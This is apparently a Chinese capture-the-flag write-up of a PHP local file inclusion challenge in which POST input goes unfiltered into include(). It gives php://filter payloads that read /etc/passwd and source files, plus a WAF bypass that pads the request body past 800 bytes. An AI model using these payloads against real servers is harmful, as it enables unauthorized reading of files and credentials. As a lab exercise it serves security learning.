[鹏城杯 2022]简单包含 wp
题目代码如下:
<?php
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;
直接 POST 传参:
flag=/var/www/html/flag.php
会触发 waf 。
尝试用伪协议读取:
flag=php://filter/read=convert.base64-encode/resource=flag.php
还是触发了 waf 。
但是我用伪协议读取 /etc/passwd 文件是可以的:
flag=php://filter/read=convert.base64-encode/resource=/etc/passwd
返回结果:
说明伪协议字段并没有被过滤,那么过滤的应该是 flag 字符串。
既然 flag.php 看不了,那看看 index.php 应该可以吧:
flag=php://filter/read=convert.base64-encode/resource=index.php
成功读取,解码后获得 index.php 的内容:
<?php$path = $_POST["flag"];if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {echo 'nssctf waf!';
} else {@include($path);
}
?><code><span style="color: #000000">
<span style="color: #0000BB"><?php <br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag in /var/www/html/flag.php;</span>
</span>
</code><br /><?php
这里面果然有过滤规则。
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {echo 'nssctf waf!';
既然用的是 && ,那么两个条件有一个不满足那么就可以绕过。
绕过 waf
php://input
伪协议就是用来获取请求体内容的,那么只要请求体长度超过 800 就可以绕过 waf :
比如:
q=q......q(800个)&flag=php://filter/read=convert.base64-encode/resource=flag.php
拿到 flag :